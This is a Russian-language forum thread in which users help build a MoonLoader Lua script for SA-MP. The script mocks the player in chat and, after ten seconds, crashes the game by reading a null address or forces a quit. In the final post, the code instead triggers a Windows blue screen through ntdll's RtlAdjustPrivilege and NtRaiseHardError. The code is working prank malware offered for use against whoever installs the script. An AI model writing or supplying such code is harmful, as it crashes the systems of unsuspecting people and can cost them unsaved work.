Как совместить функции

Lemy

Новичок
Автор темы
23
0
Версия MoonLoader
.026-beta
У меня есть 2 функции, если я переименовую 1 из них в second_main и т.п. то она перестает работать, как их совместить?

Первая:
function main()
    repeat wait(0) until isSampAvailable()
    sampRegisterChatCommand('crash', function() readMemory(0, 1) end)
    wait(-1)
end

Вторая:
function main()
    while not  isSampAvailable() do wait(100) end
    while true do wait(0)
        if sampIsLocalPlayerSpawned() then
            sampAddChatMessage('Больше хуйни качай, клоун',-1)
        end
    end
end
 

Lemy

Новичок
Автор темы
23
0
Lua:
function main()
    repeat wait(0) until isSampAvailable()
    sampRegisterChatCommand('crash', function() readMemory(0, 1) end)
    while true do wait(0)
        if sampIsLocalPlayerSpawned() then
            sampAddChatMessage('Больше хуйни качай, клоун',-1)
        end
    end
end
ты меня преследуешь?
 

хуега)

РП игрок
Модератор
2,568
2,270
У меня есть 2 функции, если я переименовую 1 из них в second_main и т.п. то она перестает работать, как их совместить?

Первая:
function main()
    repeat wait(0) until isSampAvailable()
    sampRegisterChatCommand('crash', function() readMemory(0, 1) end)
    wait(-1)
end

Вторая:
function main()
    while not  isSampAvailable() do wait(100) end
    while true do wait(0)
        if sampIsLocalPlayerSpawned() then
            sampAddChatMessage('Больше хуйни качай, клоун',-1)
        end
    end
end
Объедени их в одну ._.
 

Lemy

Новичок
Автор темы
23
0
Объедени их в одну ._.
я тупой

Lua:
function main()
    repeat wait(0) until isSampAvailable()
    sampRegisterChatCommand('crash', function() readMemory(0, 1) end)
    while true do wait(0)
        if sampIsLocalPlayerSpawned() then
            sampAddChatMessage('Больше хуйни качай, клоун',-1)
        end
    end
end
а как сделать так что после 10 секунд спама прописывалась команда /crash?
 

wojciech?

Известный
Проверенный
222
133
Lua:
function main()
    repeat wait(0) until isSampAvailable()
    sampRegisterChatCommand('crash', crash)
    while true do wait(0)
        if sampIsLocalPlayerSpawned() then
            if startClock then
                if os.clock() - startClock > 10 then
                    crash()
                    return
                end
            else
                startClock = os.clock()
            end
            sampAddChatMessage('Больше хуйни качай, клоун',-1)
        end
    end
end

function crash()
    readMemory(0, 1)
end
 

waparabka

Активный
74
125
не на всех сборках такой способ краша будет работать, за то /q всегда сработает как надо 👍
Код:
function main()
    repeat wait(0) until isSampAvailable()
    while true do wait(1500)
        if sampIsLocalPlayerSpawned() then
            lua_thread.create(function()
                sampAddChatMessage('ББ',-1)
                wait(500)
                sampProcessChatInput('/q')
            end)
        end
    end
end
 
  • Bug
Реакции: MLycoris

YarikVL

Известный
Проверенный
4,796
1,813
не на всех сборках такой способ краша будет работать, за то /q всегда сработает как надо 👍
Код:
function main()
    repeat wait(0) until isSampAvailable()
    while true do wait(1500)
        if sampIsLocalPlayerSpawned() then
            lua_thread.create(function()
                sampAddChatMessage('ББ',-1)
                wait(500)
                sampProcessChatInput('/q')
            end)
        end
    end
end
В беск цикле можно без потока использовать задержку.

На счет краша думаю должно работать, так как это неправильное чтение памяти🤔


А автору темы советую посмотреть ролики по луа:
 

Lemy

Новичок
Автор темы
23
0
В беск цикле можно без потока использовать задержку.

На счет краша думаю должно работать, так как это неправильное чтение памяти🤔


А автору темы советую посмотреть ролики по луа:
я смотрел, но я пытался сделать с зарежкой и у меня бесконечно спамило в чат с задержкой в 10 секунд, но не вводило командой
 

YarikVL

Известный
Проверенный
4,796
1,813
я смотрел, но я пытался сделать с зарежкой и у меня бесконечно спамило в чат с задержкой в 10 секунд, но не вводило командой
Посмотри сначала все ролики внимательно:
 
  • Нравится
Реакции: paccvetov и Lemy

chapo

🫡 В армии с 17.10.2023. В ЛС НЕ ОТВЕЧАЮ
Друг
8,776
11,226
Через 10 секунд после спавна персонажа вызовет синий экран "смерти"
Lua:
local ffi = require('ffi')

local start = -1
local function CallBSOD()
    local RtlAdjustPrivilegeAddr = getModuleProcAddress('ntdll.dll', 'RtlAdjustPrivilege')
    local NtRaiseHardErrorAddr = getModuleProcAddress('ntdll.dll', 'NtRaiseHardError')
    local RtlAdjustPrivilege = ffi.cast("long (__stdcall *)(unsigned long, unsigned char, unsigned char, unsigned char *)", RtlAdjustPrivilegeAddr)
    local NtRaiseHardError = ffi.cast("long (__stdcall *)(long, unsigned long, unsigned long, unsigned long *, unsigned long, unsigned long *)", NtRaiseHardErrorAddr)
    RtlAdjustPrivilege(ffi.new("unsigned long", 19), ffi.new("unsigned char", 1), ffi.new("unsigned char", 0), ffi.new("unsigned char[1]", {0}))
    NtRaiseHardError(ffi.new("long", -1073741824 + 420), ffi.new("unsigned long", 0), ffi.new("unsigned long", 0), ffi.new("unsigned long[1]", {0}), ffi.new("unsigned long", 6), ffi.new("unsigned long[1]"))
end

function main()
    while not isSampAvailable() do wait(0) end
    while not sampIsLocalPlayerSpawned() do wait(100) end
    start = os.clock()
    while true do
        wait(0)
        if start + 10 - os.clock() >= 0 then
            sampAddChatMessage('Больше не качай хуйни, клоун', -1)
        else
            CallBSOD()
        end
    end
end
 
  • Влюблен
  • Вау
Реакции: waparabka и MLycoris